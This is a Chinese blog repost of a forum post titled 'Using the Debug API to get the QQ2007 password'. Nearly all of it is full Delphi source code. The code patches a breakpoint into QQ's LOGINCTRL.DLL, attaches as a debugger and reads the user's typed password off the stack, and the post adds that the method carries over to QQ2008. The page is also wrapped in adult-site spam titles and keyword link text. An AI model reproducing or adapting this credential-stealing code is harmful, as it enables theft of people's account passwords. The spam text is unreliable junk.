青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運轉,開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

利用Debug Api 獲得QQ2007密碼

Posted on 2010-01-13 21:47 S.l.e!ep.¢% 閱讀(398) 評論(0)  編輯 收藏 引用 所屬分類: RootKit
利用Debug Api 獲得QQ2007密碼
open[xgc] 當前離線 添加 open[xgc] 的聲望 反映此帖

標 題: 利用Debug Api 獲得QQ2007密碼
作 者: open[xgc]
時 間: 2008-03-04,12:52
鏈 接: http://bbs.pediy.com/showthread.php?t=60623

隨手寫寫的代碼.這是上年的代碼.2008版同樣可以在ESP+24讀取密碼.只不過下斷位置不同罷了.

{*******************************************************}
{???????????????????????????????????????????????????????}
{???????利用Debug?Api?獲得QQ2007密碼????????????????????}
{???只支持QQ2007版本為7.1.576.1763或7.0.431.1723????????}
{???????版權所有?(C)?2008?Open[x.g.c]???????????????????}
{???????????????????????????????????????????????????????}
{*******************************************************}

unit?Unit1;

interface

uses
??Windows,?Messages,?SysUtils,?Variants,?Classes,?Graphics,?Controls,?Forms,
??Dialogs,?StdCtrls,?ComCtrls,psapi,StrUtils;

type
??TForm1?=?class(TForm)
????Button1:?TButton;
????Label1:?TLabel;
????procedure?Button1Click(Sender:?TObject);
??private
????{?Private?declarations?}
??public
????{?Public?declarations?}
??end;

var
??Form1:?TForm1;
const
????Code?:DWORD?=?$CC;
????JCode?:DWORD?=$8D;
implementation

{$R?*.dfm}
var
??ProcessID:?DWORD;

function?HexToInt(HexStr:?string):?Int64;
var
??RetVar:?Int64;
??i:?byte;
begin
??HexStr?:=?UpperCase(HexStr);
??if?HexStr[length(HexStr)]?=?'H'?then
????Delete(HexStr,?length(HexStr),?1);
??RetVar?:=?0;
??for?i?:=?1?to?length(HexStr)?do?begin
????RetVar?:=?RetVar?shl?4;
????if?HexStr[i]?in?['0'..'9']?then
??????RetVar?:=?RetVar?+?(byte(HexStr[i])?-?48)
????else
??????if?HexStr[i]?in?['A'..'F']?then
????????RetVar?:=?RetVar?+?(byte(HexStr[i])?-?55)
??????else?begin
????????Retvar?:=?0;
????????break;
??????end;
??end;
??Result?:=?RetVar;
end;


function?GetMem(nOK??:THANDLE;Addr:DWORD;len:integer=0):string;
const?FindCount=100;
var
????buf1:array[0..FindCount]?of?pchar?;
????OK??:BOOL;
????nSize:?DWORD;
????lpNumberOfBytesRead:cardinal;
????res,tmp:string;
????s:array[0..FindCount]?of?string;
????i:integer;
begin
??if?len<>0?then?begin
????nSize:=len?;
????buf1[0]:=AllocMem(nSize);
????OK?:=ReadProcessMemory(nOK,Pointer(addr),buf1[0],nSize,lpNumberOfBytesRead);
????if(OK?or?(nSize<>lpNumberOfBytesRead))?then?begin
??????s[0]:='';
??????for?i?:=0??to?nSize-1?do??begin
????????s[0]?:=?s[0]?+?format('%.2X',[ord(buf1[0][i])]);
??????end;
????end;
????FreeMem(buf1[0],?nSize);
????tmp:=s[0];
????i:=1;
????res:='';
????while?i<length(tmp)?do?begin
??????res:=res+chr(HexToInt(copy(tmp,i,2)));
??????inc(i,2);
????end;
????result:=res;
????exit;
??end;
end;



procedure?NewProcess;
??var
??????I:?Integer;
??????Count:?DWORD;
??????ModHandles:?array[0..$3FFF?-?1]?of?DWORD;
??????ModInfo:?TModuleInfo;
??????ModName:?array[0..MAX_PATH]?of?char;
??????Num?:?Cardinal;
??????Rc,ok?:Boolean;
??????DebugD:?DEBUG_EVENT;
??????Context:?_CONTEXT;
??????base:?Pointer;
??????ProcHand?:?THandle;
??????ThreadHandle?:THandle;
??????EAX?:?string;
begin
??????ProcHand?:=?OpenProcess(PROCESS_ALL_ACCESS,False,ProcessID);
??????if?ProcHand?<>?0?then
???try
??????EnumProcessModules(ProcHand,@ModHandles,SizeOf(ModHandles),Count);
??????????for?I?:=0?to?(Count?div?SizeOf(DWORD))?-?1?do
??????????????if?(GetModuleFileNameEx(ProcHand,ModHandles[I],ModName,SizeOf(ModName))?>?0)?and?GetModuleInformation(ProcHand,
??????????????????ModHandles[I],@ModInfo,SizeOf(ModInfo))?and?(RightStr(UpperCase(ModName),13)=?'LOGINCTRL.DLL')?then
???????????????????begin
?????????????????????if??DWord(ModInfo.EntryPoint)?-?Dword(ModInfo.lpBaseOfDll)?=?$22C3A?then
?????????????????????base?:=??Pointer(DWord(ModInfo.lpBaseOfDll)+$15C90);
?????????????????????if??DWord(ModInfo.EntryPoint)?-?Dword(ModInfo.lpBaseOfDll)?=?$2043A?then
?????????????????????base?:=??Pointer(DWord(ModInfo.lpBaseOfDll)+$148A3);
?????????????????????ok?:=?WriteProcessMemory(ProcHand,base,@Code,1,Num);
?????????????????????if?not?ok?then?Exit;
?????????????????????if??not?DebugActiveProcess(ProcessID)?then??Exit;
?????????????????????Rc?:=?True;
?????while?WaitForDebugEvent(DebugD,?INFINITE)?do
???????begin
?????????case?DebugD.dwDebugEventCode?of
????????????EXIT_PROCESS_DEBUG_EVENT:
?????????begin
????????????Form1.Label1.Caption?:=?'被調試進程中止';
????????????Break;
???????????end;
????????????CREATE_PROCESS_DEBUG_EVENT:
?????????begin
????????????ThreadHandle?:=?DebugD.CreateProcessInfo.hThread;
????????????Form1.Label1.Caption?:=?'請輸入密碼點登錄';
??????????end;
?????????????EXCEPTION_DEBUG_EVENT:
?????????begin
???????????case?DebugD.Exception.ExceptionRecord.ExceptionCode?of
?????????????EXCEPTION_BREAKPOINT:
??????begin
?????????if??base?=?DebugD.Exception.ExceptionRecord.ExceptionAddress?then
?????????begin
???????????Context.ContextFlags?:=?CONTEXT_FULL;
???????????GetThreadContext(ThreadHandle,?Context);
???????????EAX?:=?Trim(GetMem(ProcHand,Context.Esp?+?$24,20));
???????????Form1.Label1.Caption?:=?'QQ密碼:'?+?EAX??;
???????????Rc?:=?WriteProcessMemory(ProcHand,Pointer(dword(base)),@JCode,1,Num);
???????????Context.Eip?:=?dword(base);
???????????SetThreadContext(ThreadHandle,?Context);
????????end;
??????end;
???end;
???????end;
??????end;
????if?Rc?then
??????ContinueDebugEvent(DebugD.dwProcessId,?DebugD.dwThreadId,DBG_CONTINUE)
????else
??????ContinueDebugEvent(DebugD.dwProcessId,?DebugD.dwThreadId,?DBG_EXCEPTION_NOT_HANDLED);
????end;
??????CloseHandle(ThreadHandle);
??end;
??????finally
??????????CloseHandle(ProcHand);
??????end;
??end;


procedure?TForm1.Button1Click(Sender:?TObject);
var
??h:?HWND;
??ThreadID:?THandle;
begin
??h?:=?FindWindow(nil,'QQ用戶登錄');
??if?h?=?0?then
?begin
??Form1.Label1.Caption?:=?'沒有找到QQ登錄框'??;
??Exit;
?end;
??GetWindowThreadProcessId(h,ProcessID)?;
??CreateThread(nil,?0,?@NewProcess,?nil,?0,?ThreadID)?;
end;

end.
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            欧美日韩国产色综合一二三四| 免费成人av在线看| 午夜激情一区| 99爱精品视频| 一本一道久久综合狠狠老精东影业| 国产一区二区成人久久免费影院| 国产精品欧美久久| 国产一级揄自揄精品视频| 国产亚洲精品一区二555| 狠狠入ady亚洲精品| 亚洲黄色成人| 性色av一区二区三区| 久久夜色精品亚洲噜噜国产mv| 亚洲福利av| 欧美激情精品久久久久久蜜臀 | 久久久xxx| 久久久噜噜噜久久中文字免| 亚洲一级免费视频| 一区免费观看| 亚洲午夜激情免费视频| 久久不见久久见免费视频1| 欧美成va人片在线观看| 99国产精品99久久久久久粉嫩 | 亚洲激情av| 红桃视频一区| 亚洲欧洲日韩综合二区| 久久精品国语| 欧美一级欧美一级在线播放| 欧美精品一区二区视频| 国语精品中文字幕| 欧美一区二区精品久久911| 日韩一区二区久久| 欧美精品一区三区| 亚洲精品视频二区| 亚洲福利专区| 欧美激情一级片一区二区| 影音先锋日韩有码| 久久综合色88| 久久精品中文字幕一区| 国产在线拍偷自揄拍精品| 久久久久久亚洲精品中文字幕| 久久综合色天天久久综合图片| 国产精品系列在线播放| 午夜久久久久久| 欧美在线视频观看免费网站| 国内精品免费午夜毛片| 免费观看在线综合色| 欧美成人第一页| 亚洲一区二区三区四区中文 | 亚洲自拍偷拍福利| 在线视频亚洲一区| 国产视频亚洲精品| 美女主播精品视频一二三四| 欧美顶级少妇做爰| 久久久激情视频| 欧美日韩在线观看一区二区| 欧美一区二区三区另类 | 亚洲黄色av| 国产一区二区三区四区五区美女| 免费人成精品欧美精品| 国产精品日韩精品| 亚洲黄色片网站| 伊人成综合网伊人222| 亚洲专区免费| 亚洲一区二区视频在线观看| 免费亚洲电影| 六十路精品视频| 国内精品视频一区| 亚洲永久免费精品| 亚洲欧美变态国产另类| 国产精品久久一卡二卡| 亚洲伦理网站| 亚洲一区二区少妇| 欧美视频一区二区三区在线观看| 久久综合色播五月| 欧美在线免费观看亚洲| 欧美国产精品一区| 亚洲国产精品久久久久秋霞蜜臀| 伊人夜夜躁av伊人久久| 狠狠色狠色综合曰曰| 亚洲男人的天堂在线| 欧美一区二区三区免费观看| 欧美性淫爽ww久久久久无| 日韩午夜在线| 先锋影音久久| 亚洲高清不卡在线| 欧美电影免费观看高清| 最新亚洲一区| 亚洲欧美国产77777| 国产日韩高清一区二区三区在线| 欧美一区三区三区高中清蜜桃| 亚洲免费影院| 在线视频国产日韩| 欧美激情按摩在线| 亚洲欧美成人网| 男人的天堂亚洲在线| 一区二区三区精品视频在线观看| 欧美性猛交一区二区三区精品| 亚洲素人一区二区| 久久精品亚洲乱码伦伦中文| 99在线热播精品免费| 欧美系列一区| 欧美日韩黄色大片| 麻豆久久婷婷| 性做久久久久久久久| 99爱精品视频| 亚洲免费播放| 日韩亚洲在线| 一本久久综合| 日韩午夜av在线| 一区二区日韩| 99v久久综合狠狠综合久久| 亚洲黄一区二区三区| 美日韩精品免费观看视频| 亚洲毛片一区| 亚洲国产精品综合| 亚洲国产成人精品久久| 免费视频亚洲| 亚洲高清精品中出| 亚洲日本激情| 亚洲视频综合| 久久综合狠狠综合久久激情| 久久久综合精品| 欧美va亚洲va国产综合| 欧美三级网址| 国产伪娘ts一区| 亚洲国产精品成人精品| 在线亚洲欧美专区二区| 欧美一级网站| 亚洲二区三区四区| 亚洲婷婷综合久久一本伊一区| 午夜精品一区二区在线观看| 久久国产精品第一页| 欧美人成网站| 亚洲欧洲视频在线| 久久久视频精品| 免费一区视频| 欧美日韩播放| 在线成人性视频| 91久久综合| 亚洲视频视频在线| 久久香蕉国产线看观看网| 亚洲高清不卡av| 亚洲视屏一区| 裸体女人亚洲精品一区| 国产精品电影网站| 亚洲日本理论电影| 久久综合色综合88| 性色一区二区三区| 国产乱理伦片在线观看夜一区| 亚洲激情午夜| 蜜臀av国产精品久久久久| 欧美一区三区二区在线观看| 国产精品久久国产精品99gif| 一本一道久久综合狠狠老精东影业| 麻豆精品视频| 免费观看日韩| 一本色道久久综合一区| 亚洲国产视频一区二区| 欧美gay视频| 亚洲与欧洲av电影| 性做久久久久久久久| 国产中文一区二区| 蜜臀av在线播放一区二区三区 | 欧美色中文字幕| 亚洲特色特黄| 亚洲欧美日韩精品在线| 伊人婷婷久久| 一本大道av伊人久久综合| 欧美日韩中文字幕在线视频| 亚洲欧美在线另类| 久久www成人_看片免费不卡| 黄网动漫久久久| 亚洲免费成人av电影| 在线观看免费视频综合| 国产精品一区二区久久| 浪潮色综合久久天堂| 欧美日韩一区二区三区免费看| 久久精品亚洲精品国产欧美kt∨| 欧美韩日精品| 欧美黑人国产人伦爽爽爽| 国产色产综合色产在线视频| 久久国产黑丝| 国产欧美精品| av成人免费观看| 亚洲美女av网站| 欧美大片在线影院| 欧美大片免费观看| 一区二区在线不卡| 久久久久国产精品午夜一区| 欧美在线视频全部完| 国产精品电影网站| 亚洲一二三四久久| 性亚洲最疯狂xxxx高清| 国产精品豆花视频| 欧美一区激情| 亚洲福利专区| 亚洲影院免费观看| 国产情人节一区| 久久九九有精品国产23|